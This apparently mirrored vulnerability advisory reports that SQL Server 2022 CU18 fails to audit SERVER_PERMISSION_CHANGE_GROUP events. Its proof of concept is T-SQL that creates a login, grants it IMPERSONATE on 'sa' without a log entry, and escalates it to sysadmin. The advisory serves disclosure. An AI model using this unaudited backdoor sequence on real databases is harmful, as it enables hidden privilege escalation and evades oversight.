## https://sploitus.com/exploit?id=PACKETSTORM:190317
Title: SQL Server 2022 Security Audit Failure Vulnerability
Product: Microsoft SQL Server
Affected Version(s): 2022 (RTM-CU18) (KB5050771)
Tested Version(s): 2022 (RTM-CU18) (KB5050771)
Fix: This security bug will be fixed in a future cumulative update released by Microsoft
Risk Level: Medium
Author of Advisory: Emad Al-Mousa
Overview:
native security auditing is an important facility used to track and monitor activities within the database based on pre-defined audit policies. These security audit policies are engineered
by the vendor to capture sensitive actions that can potentially jeopardise your database system.
*****************************************
Vulnerability Details:
In Microsoft SQL Server 2022, when configuring a security audit for "SERVER_PERMISSION_CHANGE_GROUP" , it doesn’t get recorded in the audit logs as expected and designed !
*****************************************
Proof of Concept (PoC):
I will create a dummy local SQL authentication account and will call it “TIM”:
USE [master]
GO
CREATE LOGIN [TIM] WITH PASSWORD=N'TIM', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
Then, I will create the audit policy as shown below:
USE [master]
GO
CREATE SERVER AUDIT [test-permission-change]
TO FILE
( FILEPATH = N'D:\SQLServer_2022\audit\'
,MAXSIZE = 0 MB
,MAX_ROLLOVER_FILES = 2147483647
,RESERVE_DISK_SPACE = OFF
) WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE, AUDIT_GUID = 'a2d718eb-2588-4d64-b7c9-249441e96d42')
ALTER SERVER AUDIT [test-permission-change] WITH (STATE = ON)
GO
USE [master]
GO
CREATE SERVER AUDIT SPECIFICATION [AUDIT_SER_PERM_CHANGE]
FOR SERVER AUDIT [test-permission-change]
ADD (SERVER_PERMISSION_CHANGE_GROUP)
WITH (STATE = ON)
GO
Per documentation: https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions?view=sql-server-ver16
SERVER_PERMISSION_CHANGE_GROUP: This event is raised when a GRANT, REVOKE, or DENY is issued for permissions in the server scope.
-- It's expected that configured security auditing will capture the following t-sql statement:
GRANT IMPERSONATE ON LOGIN::sa TO TIM
GO
Unfortunately, the above t-sql command is NOT logged in audit logs !!
This can be verified by querying audit logs:
SELECT * FROM sys.fn_get_audit_file('D:\SQLServer_2022\audit\*',
DEFAULT,
DEFAULT) order by event_time desc
GO
So, now there is a back-door/weakness introduced in the SQL Server instance and it will not be detected. Database account TIM can now login and execute the following t-sql query to escalate his permission to SYSADMIN role successfully:
execute as login='sa'
ALTER SERVER ROLE [sysadmin] ADD MEMBER [TIM]
GO
*****************************************
References:
https://databasesecurityninja.wordpress.com/2025/04/01/sql-server-vulnerability-audit-failure-for-server_permission_change_group-in-sql-server-2022/
https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions?view=sql-server-ver16